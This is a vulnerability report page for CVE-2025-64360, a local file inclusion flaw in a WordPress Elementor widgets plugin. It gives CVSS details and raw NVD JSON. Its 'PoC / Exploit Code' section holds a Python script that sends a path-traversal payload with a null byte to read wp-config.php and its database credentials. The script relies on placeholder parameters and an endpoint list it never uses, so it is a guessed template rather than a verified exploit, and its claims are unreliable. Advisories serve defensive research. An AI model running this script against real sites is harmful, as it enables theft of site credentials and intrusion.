Security Vulnerability Report
中文
CVE-2025-64360 CVSS 7.5 HIGH

CVE-2025-64360

Published: 2025-10-31 12:15:36
Last Modified: 2026-04-27 16:16:41

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in StylemixThemes Consulting Elementor Widgets consulting-elementor-widgets allows PHP Local File Inclusion.This issue affects Consulting Elementor Widgets: from n/a through <= 1.4.2.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Consulting Elementor Widgets <= 1.4.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-64360 PoC - Consulting Elementor Widgets Local File Inclusion # Target: WordPress site with Consulting Elementor Widgets plugin <= 1.4.2 def exploit_lfi(target_url, file_path='wp-config.php'): """ Exploit LFI vulnerability in Consulting Elementor Widgets plugin @param target_url: Base URL of the WordPress site @param file_path: Path to the file to include (default: wp-config.php) """ # Try to exploit via Elementor widget parameter # Adjust the endpoint based on actual vulnerable widget endpoints = [ '/wp-admin/admin-ajax.php', '/wp-content/plugins/consulting-elementor-widgets/inc/widgets/*.php' ] # LFI payload with path traversal payload = '../../../' * 3 + file_path + '%00' params = { 'action': 'consulting_elementor_widget_action', 'widget': 'vulnerable_widget', 'file': payload } print(f'[*] Target: {target_url}') print(f'[*] Attempting to include: {file_path}') print(f'[*] Payload: {payload}') try: response = requests.get(target_url, params=params, timeout=10) print(f'[+] Response Status: {response.status_code}') if 'DB_NAME' in response.text or '<?php' in response.text: print('[!] File inclusion successful - wp-config.php leaked') return True else: print('[-] File inclusion failed or file not readable') return False except requests.exceptions.RequestException as e: print(f'[-] Request failed: {e}') return False if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} <target_url> [file_path]') sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] if len(sys.argv) > 2 else 'wp-config.php' exploit_lfi(target, file_path)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64360", "sourceIdentifier": "[email protected]", "published": "2025-10-31T12:15:36.440", "lastModified": "2026-04-27T16:16:41.207", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in StylemixThemes Consulting Elementor Widgets consulting-elementor-widgets allows PHP Local File Inclusion.This issue affects Consulting Elementor Widgets: from n/a through <= 1.4.2."}, {"lang": "es", "value": "Control inadecuado del nombre de fichero para la declaración Include/Require en un programa PHP ('Inclusión remota de ficheros PHP') en StylemixThemes Consulting Elementor Widgets consulting-elementor-widgets permite inclusión local de ficheros PHP. Este problema afecta a Consulting Elementor Widgets: desde n/a hasta menor igual que 1.4.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/consulting-elementor-widgets/vulnerability/wordpress-consulting-elementor-widgets-plugin-1-4-2-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}